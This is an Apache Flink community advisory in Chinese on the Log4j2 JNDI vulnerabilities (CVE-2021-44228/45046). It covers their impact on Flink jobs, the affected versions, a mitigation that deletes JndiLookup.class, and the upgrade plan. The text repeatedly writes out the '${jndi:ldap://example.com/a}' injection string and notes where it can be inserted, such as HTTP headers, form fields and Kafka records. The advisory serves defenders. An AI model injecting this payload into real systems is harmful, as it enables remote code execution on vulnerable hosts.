▼ 关注「ApacheFlink」视频号,遇见更多大咖 ▼

摘要:本文详细说明了 Log4j2 Zero Day 漏洞的影响,以及 Flink 社区的应对方案。主要内容包括:

  1. 漏洞说明

  2. Flink 用户可能受到的影响

  3. 受影响的 Flink 版本和临时解决方案

  4. Flink 社区修复计划

Tips:点击「阅读原文」查看更多技术干货~

概述

Apache Log4j 是基于 Java 的日志记录工具,Apache Log4j2 重写了 Log4j 并增加了很多丰富的特性。最近,由阿里云安全报告了 Apache log4j2 的 Zero Day 漏洞[1],基于该漏洞,攻击者可以构造恶意请求,触发远程代码执行漏洞,目前该漏洞被 CVE-2021-44228[2] 追踪。Log4j 团队在发现该问题后马上发布了 2.15.0 版本,并给出了临时解决方案。

12 月 14 日,来自 Twitter 公司的团队发现并且报告了一个新的漏洞问题:CVE-2021-45046[17]。该漏洞表示 2.15.0 中对 CVE-2021-44228 的修复以及给出的临时解决方案并不完备,在某些配置条件下依然会被利用导致 DOS 攻击。随后 Log4j 团队又发布了 2.16.0 版本,并推荐受影响的软件升级至该版本,同时给出了新的临时解决方案。

上述漏洞的影响版本范围为 2.0-beta9 <= log4j2 <= 2.12.1 和 2.13.0 <= log4j2 <= 2.15.0。Apache Flink 在 1.10 及以前的版本中使用的是 Log4j 1.x 版本,可以认为不受影响。而 1.11 及以上版本中使用了 Log4j 2.x 版本,且均在受影响范围内。

接下来我们将首先简要阐述漏洞的细节和影响,然后会特别说明该漏洞对 Flink 用户可能产生的影响,最后将详细介绍 Flink 用户对该漏洞可采用的临时解决方案和 Flink 社区的修复计划。

一、漏洞说明


CVE-2021-44228

这个漏洞可以追溯到 Log4j 早年间引入的一个 Feature。2013 年,Log4j 在 2.0-beta9 版本[3] 中添加了 “JNDILookup plugin”[4] 功能。

Java 在 1990 年之后引入了 JNDI 作为一种目录服务,让 Java 程序可以以 Java 对象的形式通过目录查找数据。JNDI 提供了多种 SPI 支持不同的目录服务,如 CORBA COS (公共对象服务)、Java RMI (远程方法接口) Registry 和 LDAP (轻量级目录访问协议)。这些都是可能被 CVE-2021-44228/45046 漏洞利用的服务。

Java 程序可以结合使用 JNDI 和 LDAP 来查找包含可能需要的数据的 Java 对象。例如,在标准 Java 文档中有一个与 LDAP 服务器通信以检索对象属性的示例。即使用 “ldap://localhost:389/o=JNDITutorial” 这个 URL 从运行在同一台机器 (localhost) 上的端口为 389 的 LDAP 服务器中查找 JNDITutorial 对象,并继续从中读取属性。

根据 JNDI 官方帮助文档描述 “如果您的 LDAP 服务器位于另一台机器上或正在使用另一个端口,那么您需要编辑 LDAP URL”,LDAP 服务器可以在不同的机器上运行,也可以在 Internet 上的任何地方运行。这种灵活性意味着如果攻击者能够控制 LDAP URL,他们就能够让 Java 程序从他们控制的服务器加载对象。

在 Log4j 包含漏洞的版本中,攻击者可以通过传入类似 “${jndi:ldap://example.com/a}” 形式的字符串来控制 Log4j 访问的 LDAP URL。在这种情况下,Log4j 将连接到 example.com 上的 LDAP 服务器并检索对象。

Log4j 对 “${prefix:name}” 形式有特殊的语法解释,其中 prefix 是 Log4j 提供的多种 Lookups[5]中的一种,name 则对应在该 Lookup 下的一种执行属性。例如,${java:version} 是当前运行的 Java 版本。

而 LOG4J-313 增加的 JndiLookup 提供了通过 JNDI 检索变量的能力。在默认情况下,key 将以 “java:comp/env/” 这种形式作为 prefix。但当 key 中本身就包含额外的 “:” 时,则解析不到正确的 prefix 形式。例如字符串 “${jndi:ldap://example.com/a} ” 传入时,Log4j 将检测不到正确的 prefix,由于 Message Lookup 机制,其行为会变成在 LDAP 服务器中查询目标对象。

因此,攻击者只需要找到一个可能被打印的输入并在其中添加类似 “${jndi:ldap://example.com/a}” 的字符串。比如攻击者可能将攻击字符串插入到类似 User-Agent 的 HTTP header 中、类似 username 的表单参数中等。

这种方式在基于 Java 的面向 Internet 的应用中很常见。更令人窒息的是,这种数据可能会从一个系统传递到另一个系统中,导致使用 Java 的非面向 Internet 的应用也会中招。

例如,一个利用该漏洞的 User-Agent 的字符串可以传递到使用 Java 编写的后端系统中,该系统可能会基于漏洞数据建立索引或数据分析,而这些过程中漏洞数据有可能也会被 Log4j 打印,进而造成严重的影响。因此,所有使用 Log4j2 的基于 Java 开发的软件都应该进行马上采取修补措施,否则潜在的威胁很大。即使面向 Internet 的软件不是用 Java 编写的,恶意字符串也有可能会被传递到其他使用 Java 编写的系统中从而产生严重问题。例如一个基于 Java 编写的记账系统,它可能在找不到客户的名字时进行打印。而攻击者可以创建一个包含漏洞信息的客户名字的订单,而该漏洞信息很可能会在 Web 服务器、数据库系统中传递并最后进入账单系统中,链路中的各个系统都可能受到影响。

此外,Java 除了在面向 Internet 的系统中使用外,也在很多其他场景中被使用。例如一个包裹处理系统上的 QR 码或者一个非接触式门的电子钥匙,如果它们用 Java 编写并使用了 Log4j,那么都很有可能被攻击。一个精心制作的二维码可能包含一个漏洞信息的邮政地址,一个精心编码的电子钥匙可能带有漏洞利用的恶意程序,直接跟踪我们的进出的记录。

还有一些包含定时任务的系统可能不会马上处理该漏洞信息,在该定时任务汇总、存档过程打印该恶意字符串之前,该漏洞可能会一直处于休眠状态。而在数小时甚至数天后才会触发到该漏洞并造成严重影响。

CVE-2021-45046

这个漏洞由 Twitter 发现。2.15.0 版本对 CVE-2021-44228 的修复和 Log4j 团队之前给出的建议并不能完全避免该漏洞的影响。其原因是当日志配置中使用了一些非默认的 Pattern Layout (Context lookup 或者 Thread Context Map pattern) 时,攻击者可以利用该模式注入恶意数据。

如果日志配置中存在上述的 Pattern Layout,基于 “log4j2.formatMsgNoLookups=true” 的方案并不能阻止恶意数据利用 JndiLookup 去触发 CVE-2021-44228,即使 2.15.0 中限制 JNDI LDAP Lookup 的范围在 Localhost,依然会面临 DOS 攻击的风险。

二、Flink 用户可能受到的影响

使用 1.11 及以上版本的 Flink,会受到该漏洞的影响。如上一章节中所述,虽然大部分使用场景下 Flink 并不直接面向 Internet,但攻击字符串可能会从其他系统直接传入到 Flink (即使其他系统已经做了一些防范措施) 并由 Flink 中的 UDF 进行处理,而这个过程中的 Record 相关的打印操作就会触发该漏洞 (事实上,这种打印操作在实际应用中很常见),进而造成严重影响。

以常见的日志分析场景为例,我们经常见到在 UDF 中打印 Record 的相关信息的操作,当攻击字符串 (如 ${jndi:ldap://example.com/a}) 从 Kafka 传递到 Flink 中被这些 UDF 处理时,会直接导致作业执行环境中的节点受到影响。类似的消息传递一方面不受报文传递加解密的限制 (UDF 在处理经过加密的消息时会先解码),另一方面不需要 Flink 作业的提交权限而是可以直接在上游注入。因此对于 Flink 系统,尤其是对可访问外网且缺乏安全容器隔离能力的执行环境来说,具备很高的威胁。

三、受影响的 Flink 版本

和临时解决方案

目前 Flink 各个已发布版本使用的 log4j 版本详情如下:

可以看到,Flink 在 1.11 及以上的版本使用的均是 2.x 的 Log4j 版本,因此均会受影响,而 1.10 及以下的版本可以认为不受影响。目前社区已积极响应修复该问题,详细修复计划将在下一章节介绍。

在社区尚未发布对应修复版本之前,需要采用 Log4j 团队建议的方式解决,即使用:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

将 Flink 中依赖的 log4j-core 里的 JndiLooup.class 删除,以达到 2.16.0 中禁用 JNDI 的效果。

需要注意以下三点:

  1. 该修复过程需要停止作业,在做完修复后重启。

  2. 对于 Apache Log4j 的 Zero Day 问题,虽然之前有其他的临时解决方法[6][7] ,但目前只有上面这种方式能完全避免该漏洞的影响。

  3. 建议在社区发布修复版本后,尽快批量升级作业至对应的版本。

四、Flink 社区修复计划

目前 Log4j 已发布了 2.15.0 和 2.16.0 版本,具体修复内容如下:

Flink 社区在得知这个漏洞后,马上讨论了修复计划[14],社区先将 master 分支中 Log4j 的版本升级至 2.15.0,同时 pick 了该修复到 1.14.1,1.13.4,1.12.5,1.11.4[12],目前这些版本已经发布,用户可以直接使用,例如 https://search.maven.org/artifact/org.apache.flink/flink-core/1.14.1/jar

但考虑到 Log4j 的 2.16.0 版本才能更彻底地解决该问题,社区将 master 分支中 Log4j 的版本进一步升级至 2.16.0,同时 pick 该修复到 1.14.2,1.13.5,1.12.7,1.11.6[13]。目前这些新版本的投票已完成,相信会尽快完成发布[14][15][16]

在 Flink 社区发布 Log4j 2.16.0 对应的各个修复版本后,用户只需要将作业使用的 Flink 版本进行升级,即可完全避免该问题。

参考

[1] Apache Log4j Vulnerability Details and Mitigation

https://www.cyberkendra.com/2021/12/apache-log4j-vulnerability-details-and.html

[2] CVE-2021-44228

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

[3] Apache Log4j 2.0-beta9 released

https://blogs.apache.org/logging/entry/apache_log4j_2_0_beta9

[4] LOG4J2-313

https://issues.apache.org/jira/browse/LOG4J2-313

[5] LOG4J Lookups

https://logging.apache.org/log4j/2.x/manual/lookups.html

[6] Advise on Apache Log4j Zero Day (CVE-2021-44228)

https://flink.apache.org/2021/12/10/log4j-cve.html

[7] CVE-2021-44228 Solution

https://stackoverflow.com/questions/70315727/where-to-put-formatmsgnolookups-in-log4j-xml-config-file/70315902#70315902

[8] LOG4J2-3198

https://issues.apache.org/jira/browse/LOG4J2-3198

[9] LOG4J2-3201

https://issues.apache.org/jira/browse/LOG4J2-3201

[10] LOG4J2-3208

https://issues.apache.org/jira/browse/LOG4J2-3208

[11] LOG4J2-3211

https://issues.apache.org/jira/browse/LOG4J2-3211

[12] Update log4j2 version to 2.15.0

https://issues.apache.org/jira/browse/FLINK-25240

[13] Update Log4j to 2.16.0

https://issues.apache.org/jira/browse/FLINK-25295

[14] [DISCUSS] Immediate dedicated Flink releases for log4j vulnerability

https://lists.apache.org/thread/j15t1lwp84ph7ftjdhpw4429zgl13588

[15] [VOTE] Release 1.11.5/1.12.6/1.13.4/1.14.1, release candidate #1

https://lists.apache.org/thread/64tn3d38ko4hqc9blxdhqrh27x3fjro8

[16] [VOTE] Release 1.11.6/1.12.7/1.13.5/1.14.2, release candidate #1https://lists.apache.org/thread/3yn7ps0ogdkr1r5zdjp10zftwcpr1hqn

[17] CVE-2021-45046

https://nvd.nist.gov/vuln/detail/CVE-2021-45046


更多 Flink CDC 相关技术问题,可扫码加入社区钉钉交流群~


近期热点

  • Flink Forward Asia 2021 延期,线上相见

  • 奖金翻倍!Flink Forward Asia Hackathon 最新参赛指南请查收


▼ 关注「Apache Flink」,获取更多技术干货 ▼

更多 Flink 相关技术问题,可扫码加入社区钉钉交流群~

  戳我,查看更多技术干货~

Log4j2 Zero Day 漏洞 Apache Flink 应对指南相关推荐

  1. Apache Beam实战指南 | 玩转KafkaIO与Flink

    AI前线导读:本文是 Apache Beam实战指南系列文章 的第二篇内容,将重点介绍 Apache Beam与Flink的关系,对Beam框架中的KafkaIO和Flink源码进行剖析,并结合应用示 ...

  2. log4j2漏洞各大厂应对措施

    真是平地一声雷,一个超高级别的bug把所有厂商都炸醒了.本来是可以划水半天的大周五,程序员们都得起来升版本发布代码修复这个问题了.具体漏洞的危害和原理,其他的回答里已经写的够详细了,我就整理一下各个大 ...

  3. 漏洞复现----12、Apache Flink目录穿越漏洞(CVE-2020-17519 )

    文章目录 一.漏洞简介 二.漏洞复现 一.漏洞简介 Apache Flink 1.11.0中引入的更改,允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何 ...

  4. Apache Flink 集成 Apache Hudi 快速入门指南

    摘要:本文由阿里巴巴的陈玉兆分享,主要介绍 Flink 集成 Hudi 的最新版本功能以及快速上手实践指南.内容包括: 背景 环境准备 Batch 模式的读写 Streaming 读 总结 一.背景 ...

  5. CVE-2020-17518 Apache Flink 上传路径遍历漏洞复现

    Apache Flink 上传路径遍历漏洞复现 一.漏洞描述 Apache Flink 1.5.1 引入了一个 REST 处理程序,允许您通过恶意修改的 HTTP HEADER 将上传的文件写入本地文 ...

  6. Apache Log4j2 核弹级漏洞

    近日,Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用会造成严重危害.而且此次漏洞影响巨大,很多网站如百度等都是此次 Log4j 远程代码执行漏洞的受害者,很多互联网企 ...

  7. Log4j2核弹级漏洞线上修复方案!

    一.漏洞描述2月9日晚,Apache Log4j2反序列化远程代码执行漏洞细节已被公开,Apache Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利 ...

  8. 突发!Log4j 爆“核弹级”漏洞,Flink、Kafka等至少十多个项目受影响

    欢迎关注方志朋的博客,回复"666"获面试宝典 作者 | 褚杏娟 这两天,你熬夜应急了吗? 昨晚,对很多程序员来说可能是一个不眠之夜.12 月 10 日凌晨,Apache 开源项目 ...

  9. Log4j2突发重大漏洞

    长话短说吧. 相信大家已经被 Log4j2 的重大漏洞刷屏了,估计有不少小伙伴此前为了修 bug 已经累趴下了.很不幸,我的小老弟小二的 Spring Boot 项目中恰好用的就是 Log4j2,版本 ...

  10. Elasticsearch与最新的log4j2零日漏洞

    今天真的是焦头烂额,新出来的这个log4j2零日漏洞看起来杀伤力极大,影响了Apache Struts2, Apache Solr, Apache Druid, Apache Flink等重量级的开源 ...

最新文章

  1. ocp 042 第十一章:管理oracle网络配置
  2. couldn't find libgnustl_shared.so
  3. Elasticsearch 实现自定义排序插件
  4. (六)nodejs循序渐进-数据流和文件操作(基础篇)
  5. 去中心化数据库Bluzelle公布2021年路线图,将于2月3日上线主网
  6. chartxy 柱状图_关于Chart柱状图的使用,有问题
  7. 25服务端_手把手教你使用 OpenResty 搭建高性能服务端!
  8. 【语音处理】基于matlab GUI音乐多次回声图谱显示【含Matlab源码 1733期】
  9. StanfordDB class自学笔记 (8) Querying XML
  10. C# 2.0中泛型编程初级入门
  11. 智能计算机翻译,爱译网-智能翻译技术-人工智能翻译技术
  12. php爬虫教程(二)数据请求分析
  13. 发生内部错误。请与 microsoft 支持部门联系。_设计变更、工程签证、确认单、工程洽商、联系单、会签的是干啥的?有啥区别?...
  14. 【Excel】根据空格拆分单元格
  15. 预产期计算器在线计算生男生女计算机,预产期计算器生男生女在线查询-预产期计算器及天数计算时间软件2017版-腾牛安卓网...
  16. RC延时电路简要分析
  17. efk集中管理npgstack集群日志
  18. 样式案例——图片背景左上角显示用户头像和用户名
  19. 大学物理上——复习系统c++代码
  20. 【CSDN博客之星】您的支持就是我最大的动力!喜欢本博客的读者,请拿出您宝贵的几秒钟时间来支持一下吧,非常感谢~

热门文章

  1. Spring Boot实现动态数据库配置
  2. Asp.net导出Excel/Csv文本格式数据
  3. 图像处理_Opencv中Mat矩阵中data、size、depth、elemSize、step等属性的理解
  4. 三、VueJs 填坑日记之项目文件认识
  5. HTTP、Asp.net管道与IIS
  6. FileOutputStream输出流
  7. eclipse 常用操作 持续更新
  8. 03-15 捍卫WAF
  9. 【Research Paper】
  10. 图形算法 - 模糊函数比较,Blur Function Compare。